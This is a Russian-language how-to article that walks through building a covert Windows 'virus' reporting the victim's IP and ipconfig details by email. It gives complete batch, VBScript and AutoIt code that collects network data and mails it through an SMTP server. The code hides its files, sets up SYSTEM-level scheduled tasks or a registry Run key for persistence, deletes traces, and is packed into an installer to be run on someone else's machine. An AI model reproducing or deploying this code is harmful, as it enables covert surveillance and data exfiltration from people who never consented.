В этой статье будет описываться несколько способов как можно сделать вирус который будет отправлять Ip адрес при каждом запуске системы Windows,или через определённое время.
Начнём с простого батинка,создаём текстовый документ (txt),открываем и пишем туда следующие:
@echo off blat.exe -install -server smtp.yandex.ru -port 587 -f логин@yandex.ru -u логин -pw пароль ipconfig /all > ip.txt blat.exe ip.txt -to логин@yandex.ru del /s /q ip.txt exit cls
Вносим свои данные,сохраняем как ips.bat,компилируем в exe при помощи Bat to exe converter (скачать) и создаём ещё один текстовый документ (txt),открываем и пишем в него следующие:
@echo off attrib +a +s +r +h %systemroot%\miwich schtasks /tr %systemroot%\miwich\ips.exe /ru "System" /sc hourly /mo 5 /tn Windk /f start %systemroot%\miwich\ips.exe exit cls
Сохраняем как slide.bat и компилируем в exe
Далее берём компоненты программы Blat,можете скачать с офф сайта http://www.blat.net/ или с нашего сервера (правда в архиве будет один лишний файл от архиватора rar.exe),собираем всё файлы в кучу,а именно:
Компоненты Blat: blat.exe,blat.dll,blat.lib.
Батинки компилированные в exe: ips.exe и slide.exe
И склеиваем в один исполянемый файл,при помощи Smart Install Maker (как это сделать можете прочитать здесь) на выполнение ставим slide.exe,путь выгрузки всех файлов назначаем %WindowsDir%\miwich\
Всё вирус готов,он будет отсылать IP адрес и дургую информацию которую даёт команда ipconfig на почту,каждые 5 часов.
Правда данная команда не всегда показывает истинный IP адрес и за чистую по адресу пришедшему с такого батинка не подконектишься,так что это далеко не айс.
Рассмотрим ещё один способ,тоже через бат только вперемешку с vbs скриптом.
И так открываем блокнот и пишем туда следующий код:
On Error Resume Next strComputer = "." Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2") Set IPConfigSet = objWMIService.ExecQuery _ ("Select * from Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE") For Each IPConfig in IPConfigSet If Not IsNull(IPConfig.IPAddress) Then For i=LBound(IPConfig.IPAddress) to UBound(IPConfig.IPAddress) ipaddr = ipaddr + " " + IPConfig.IPAddress(i) Next End If Next Dim Shell set Shell = WScript.CreateObject ("WSCript.shell") Shell.run("SendMail /smtpserver smtp.yandex.ru /to логин-кому@yandex.ru /from логин от куда@yandex.ru /subject Message subject /body" + ipaddr + "/user логин /password пароль")
Вбиваем свои данные от почтового ящика и сохраняем как sdg.vbs,далее опять открываем блокнот и пишем маленький батинок:
@echo off schtasks /tr %systemroot%\miwich\sdg.vbs /ru "System" /sc hourly /mo 5 /tn Windk /f >nul attrib +s +h +r %systemroot%\miwich >nul start sdg.vbs >nul del "%0" >nul cls
сохраняем под любым именем и с расширением bat, склеиваем sdg.vbs,(ваш батинок,допустим 1.bat) с sendMail.exe (скачать) при помощи Smart Install Maker,на выполнение ставим 1.bat,путь выгрузки %WindowsDir%\miwich\,все через каждые пять часов,вирус будет отсылать два Ip адреса,один внутренний,второй настоящий.
Расмотрим пример написания скрипта с отсылкой ip адреса на почту,по средствам простого скриптового языка AutoIt.
Собственно в нём нету ни чего сложного,скрипт узнаёт IP адрес,проверяет наличие интернета и если такое есть то отправляет его на почтовый ящик указанный в скрипте(где что указывать я написал),так же добавляет себя в автозагрузку и прячет сам себя.
#include <File.au3> #include <Inet.au3> #include <Process.au3> #NoTrayIcon ;Заполнить $sFile = "IP.txt" $SmtpServer = "smtp.yandex.ru" ; адрес SMTP сервера $FromName = "IP-(от кого)" ; пишем имя,любое $FromAddress = "логин@yandex.ru" ; адрес отправителя $ToAddress = "логин@yandex.ru" ; адрес получателя $Subject = "внешний IP" ; тема письма $AttachFiles = $sFile $sText=_GetIP() $CcAddress = "" $BccAddress = "" $Importance = "Normal" ; приоритет отсылки письма,другие варианты: "High", "Normal", "Low" $Username = "логин@yandex.ru" ; имя отправителя $Password = "пароль" ; пас отпрвителя $IPPort = 587 ; порт можно 25,ну и так норм отправляет $ssl = 0 ;~ $IPPort=465; GMAIL порт $sArgument = '/320' ;задержка перед началом работы в 320 секунд FileSetAttrib ( @ScriptName, "+S+H") If $CmdLine[0] Then $iTimer = StringRegExpReplace($CmdLine[1], '[^0-9]', '') * 1000 $iStart = TimerInit() While TimerDiff($iStart) <= $iTimer Sleep(250) WEnd EndIf Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0) Local $objEmail = ObjCreate("CDO.Message") $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>' $objEmail.To = $s_ToAddress Local $i_Error = 0 Local $i_Error_desciption = "" If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress $objEmail.Subject = $s_Subject If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then $objEmail.HTMLBody = $as_Body Else $objEmail.Textbody = $as_Body & @CRLF EndIf If $s_AttachFiles <> "" Then Local $S_Files2Attach = StringSplit($s_AttachFiles, ";") For $x = 1 To $S_Files2Attach[0] $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x]) ;~ ConsoleWrite('@@ Debug : $S_Files2Attach[$x] = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console If FileExists($S_Files2Attach[$x]) Then ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF) $objEmail.AddAttachment($S_Files2Attach[$x]) Else ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF) SetError(1) Return 0 EndIf Next EndIf $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer If Number($IPPort) = 0 then $IPPort = 25 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort ;Authenticated SMTP If $s_Username <> "" Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1 $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password EndIf If $ssl Then $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True EndIf ;Update settings $objEmail.Configuration.Fields.Update ; Set Email Importance Switch $s_Importance Case "High" $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High" Case "Normal" $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal" Case "Low" $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low" EndSwitch $objEmail.Fields.Update ; Sent the Message $objEmail.Send If @error Then SetError(2) Return $oMyRet[1] EndIf $objEmail="" EndFunc _RegRun($sArgument) $i =0 While $i <= 1 $var = Ping("www.google.com",250) If @error = 0 Then $AttachFiles = @ScriptDir & "\IP.txt" _RunDOS("ipconfig /all >>IP.txt") _FileWriteLog($AttachFiles, $sText) Sleep(1000) _INetSmtpMailCom($SmtpServer,$FromName,$FromAddress,$ToAddress,$Subject,$sText,$AttachFiles,$CcAddress,$BccAddress,$Importance,$Username,$Password,$IPPort,$ssl) sleep(1000) FileDelete("IP.txt") Sleep(1000*60*60) ; вот здесь ставим время в миллисекундах отправки IP и скрина ( в данном скрипте каждую 60 минут,то есть последние цифры отвечают за минуты. ) EndIf WEnd Func _RegRun($s_Argument) Local $sRegRun = 'HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' If Not RegRead($sRegRun, @ScriptName) Or RegRead($sRegRun, @ScriptName) <> @ScriptFullPath & ' ' & $s_Argument Then RegWrite($sRegRun, @ScriptName, 'REG_SZ', @ScriptFullPath & ' ' & $s_Argument) EndIf EndFunc exit
Этот скрипт компилируется в EXE при помощи компилятора AutoIt,в принципе разберётесь,там ни чего сложного нету.
Компилятор можно скачать на офф сайте http://www.autoitscript.com/,существует ещё уйма способов написание подобных как бы вирусов,ну я думаю мы пока что остановимся на этом.
Спасибо за внимание,всего доброго!